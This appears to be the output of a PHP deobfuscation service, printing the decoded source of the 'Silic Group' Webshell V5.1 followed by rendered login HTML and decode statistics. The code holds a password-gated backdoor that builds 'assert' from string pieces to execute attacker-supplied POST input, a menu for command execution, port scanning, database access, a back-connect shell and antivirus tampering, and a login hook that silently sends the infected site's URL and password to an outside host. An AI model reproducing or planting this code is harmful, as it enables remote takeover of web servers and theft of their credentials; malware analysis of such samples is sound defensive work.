			if($_POST['ch']='ch' && $oldps==$password && !empty($_POST['newps']))
			{
				$dline=19;
				$chpsArr=file(__FILE__);
				$chsize=count($chpsArr);
				for($chi=0; $chi< $chsize; $chi++){
					if($chi==$dline-1){$chpsStr.=base64_decode($newps)."\r\n";}
					else{$chpsStr.=$chpsArr[$chi];}
				}
				file_put_contents(__FILE__,$chpsStr);
				echo "";
			}else{echo "";}
		}elseif(md5(md5(md5($salt.trim($_GET['s'])))) == $password){
			$asse=$asse{0}.$asse{1}.$asse{1}.$asse{2}.$asse{3}.$asse{4};
			@$asse($_POST[$_GET['s']]);
		}else{
			//
			function Root_Login($MSG_TOP)
			{
				$IP = gethostbyname($_SERVER["SERVER_NAME"]);
				print<<<END
<html>
	<body style="background:#AAAAAA;">
		<center>
		<form method="POST">
		<div style="width:351px;height:201px;margin-top:100px;background:threedface;border-color:#FFFFFF #999999 #999999 #FFFFFF;border-style:solid;border-width:1px;">
		<div style="width:350px;height:22px;padding-top:2px;color:#FFFFFF;background:#293F5F;clear:both;"><b>{$MSG_TOP}</b></div>
		<div style="width:350px;height:80px;margin-top:50px;color:#000000;clear:both;">PASS:<input type="password" name="silicpass" style="width:270px;"></div>
		<div style="width:350px;height:30px;clear:both;"><input type="submit" value="LOGIN" style="width:80px;"></div>
		</div>
		</form>
		</center>
	</body>
</html>
END;
				return false;
			}
			//
			function WinMain()
			{
				$Server_IP = gethostbyname($_SERVER["SERVER_NAME"]);
				$Server_OS = PHP_OS;
				$Server_Soft = $_SERVER["SERVER_SOFTWARE"];
				print<<<END
<html><head><title>Silic Group Hacker Army - BlackBap.Org</title>
<style type="text/css">
*{padding:0; margin:0;}
body{background:#AAAAAA;font-family:"Verdana", "Tahoma","",sans-serif;font-size:13px;text-align:center;margin-top:5px;word-break:break-all;}
a{color:#FFFFFF;text-decoration:none;}
a:hover{background:#BBBBBB;}
.outtable{margin: 0 auto;height:595px;width:955px;color:#000000;border-top-width: 2px;border-right-width:2px;border-bottom-width: 2px;border-left-width: 2px;border-top-style: outset;border-right-style: outset;border-bottom-style: outset;border-left-style: outset;border-top-color: #FFFFFF;border-right-color: #8c8c8c;border-bottom-color: #8c8c8c;border-left-color: #FFFFFF;background-color: threedface;}
.topbg{padding-top:3px;font-size:12px;text-align:left;font-weight:bold;height:22px;width:950px;color:#FFFFFF;background:#293F5F;}
.listbg{font-family:'lucida grande',tahoma,helvetica,arial,'bitstream vera sans',sans-serif;font-size:13px;width:130px;}
.listbg li{padding:3px;color:#000000;height:25px;display:block;line-height:26px;text-indent:0px;}
.listbg li a{padding-top:2px;background:#BBBBBB;color:#000000;height:25px;display:block;line-height:24px;text-indent:0px;border-color:#999999 #999999 #999999 #999999;border-style:solid;border-width:1px;text-decoration:none;}
.footer{padding-top:3px;text-align: center;font-size:12px;font-weight: bold;height:20px;width:950px;color:#000000;background: #888888;}
</style>
<script language="JavaScript">
function switchTab(tabid)
{
if(tabid == '') return false;
for(var i=0;i<=15;i++)
{
	if(tabid == 't_'+i) document.getElementById(tabid).style.background="#FFFFFF";
	else document.getElementById('t_'+i).style.background="#BBBBBB";
}
return true;
}
</script>
</head>
<body>
<div class="outtable">
<div class="topbg">&nbsp;<a href="?s=logout" title="">&#8857;</a>&nbsp;&#8857;&nbsp;<a href="?s=ch" target="main" title="">&#8857;</a>&nbsp;{$Server_IP} - {$Server_OS} - {$Server_Soft}</div>
	<div style="height:546px;">
		<table width="100%" height="100%" border=0 cellpadding="0" cellspacing="0">
		<tr><td width="140" align="center" valign="top">
			<ul class="listbg">
<li><a href="?s=a" id="t_0" onclick="switchTab('t_0')" style="background:#FFFFFF;" target="main"></a></li>
<li><a href="?s=g" id="t_1" onclick="switchTab('t_1')" target="main"></a></li>
<li><a href="?s=i" id="t_2" onclick="switchTab('t_2')" target="main"></a></li>
<li><a href="?s=f" id="t_3" onclick="switchTab('t_3')" target="main"></a></li>
<li><a href="?s=n" id="t_4" onclick="switchTab('t_4')" target="main">MYSQL</a></li>
<li><a href="?s=o" id="t_5" onclick="switchTab('t_5')" target="main">MYSQL</a></li>
<li><a href="?s=pq" id="t_6" onclick="switchTab('t_6')" target="main">PostgreSQL</a></li>
<li><a href="?s=gg" id="t_7" onclick="switchTab('t_7')" target="main"></a></li>
<li><a href="?s=e" id="t_8" onclick="switchTab('t_8')" target="main"></a></li>
<li><a href="?s=j" id="t_9" onclick="switchTab('t_9')" target="main"></a></li>
<li><a href="?s=d" id="t_10" onclick="switchTab('t_10')" target="main"></a></li>
<li><a href="?s=l" id="t_11" onclick="switchTab('t_11')" target="main">ServU</a></li>
<li><a href="?s=jk" id="t_12" onclick="switchTab('t_12')" target="main">Win</a></li>
<li><a href="?s=dd" id="t_13" onclick="switchTab('t_13')" target="main"></a></li>
<li><a href="?s=ff" id="t_14" onclick="switchTab('t_14')" target="main">php</a></li>
<li><a href="?s=za" id="t_15" onclick="switchTab('t_15')" target="main">ZIP</a></li></ul></td><td>
<iframe name="main" src="?s=a" width="100%" height="100%" frameborder="0"></iframe></td></tr></table></div>
<div class="footer">State: Powered By <a href="http://blackbap.org/" target="_blank">Silic Group</a> [ http://blackbap.org ] - Webshell V5.1</div></div></body></html>
END;
				return false;
			}
		}
		/**/
		if(get_magic_quotes_gpc())
		{
			$_GET = Root_GP($_GET);
			$_POST = Root_GP($_POST);
		}

function Purl()
{
    $pageURL = 'http';

    if ($_SERVER["HTTPS"] == "on")
    {
        $pageURL .= "s";
    }
    $pageURL .= "://";

    if ($_SERVER["SERVER_PORT"] != "80")
    {
        $pageURL .= $_SERVER["SERVER_NAME"] . ":" . $_SERVER["SERVER_PORT"] . $_SERVER["REQUEST_URI"];
    }
    else
    {
        $pageURL .= $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"];
    }
    return $pageURL;
}
$GETURL=Purl();

		if($_COOKIE['admin_silicpass'] != md5($password))
		{
			ob_start();
			$MSG_TOP = 'LOGIN';
			if(isset($passt))
			{
				$cookietime = time() + 24 * 3600;
				setcookie('admin_silicpass',md5($passt),$cookietime);
				
				
				if(md5($passt) == md5($password)){
					file_get_contents("http://www.1937.pro//index.php/index/api/add?url={$GETURL}&p={$psw}");
					die('<meta http-equiv="refresh" content="1;URL=?">');}
				else{$MSG_TOP = 'PASS IS FALSE';}
			}
			Root_Login($MSG_TOP);
			ob_end_flush();
			exit;
		}
		if(isset($_GET['s'])){$s = $_GET['s'];if($s != 'a' && $s != 'n')Root_CSS();}else{$s = 'MyNameIsHacker';}
		$p = isset($_GET['p']) ? $_GET['p'] : File_Str(dirname(__FILE__));
		switch($s){
			case"a":File_a($p);break;
			case"d":Tihuan_d();break;
			case"e":Antivirus_e();break;
			case"f":Info_f();break;
			case"g":Exec_g();break;
			case"i":Port_i();break;
			case"j":Findfile_j();break;
			case"jk":winshell();break;
			case"l":Servu_l();break;
			case"n":Mysql_n();break;
			case"o":Mysql_o();break;
			case"p":File_Edit($_GET['fp'],$_GET['fn']); break;
			case"pq":Pgr_sql(); break;
			case"q":File_Soup($p); break;
			case"r":Mysql_Msg(); break;
			case"dd":backconn();break;
			case"ff":phpcode();break;
			case"gg":otherdb();break;
			case"za":zipact();break;
			default:WinMain();break;
		}

---------------------Decode End----------------------------------
<html>
	<body style="background:#AAAAAA;">
		<center>
		<form method="POST">
		<div style="width:351px;height:201px;margin-top:100px;background:threedface;border-color:#FFFFFF #999999 #999999 #FFFFFF;border-style:solid;border-width:1px;">
		<div style="width:350px;height:22px;padding-top:2px;color:#FFFFFF;background:#293F5F;clear:both;"><b>PASS IS FALSE</b></div>
		<div style="width:350px;height:80px;margin-top:50px;color:#000000;clear:both;">PASS:<input type="password" name="silicpass" style="width:270px;"></div>
		<div style="width:350px;height:30px;clear:both;"><input type="submit" value="LOGIN" style="width:80px;"></div>
		</div>
		</form>
		</center>
	</body>
</html>

Function Calls

None

Variables

None

Stats

MD5 48e44c2adbfe4778e23f958f283786fb
Eval Count 0
Decode Time 30156 ms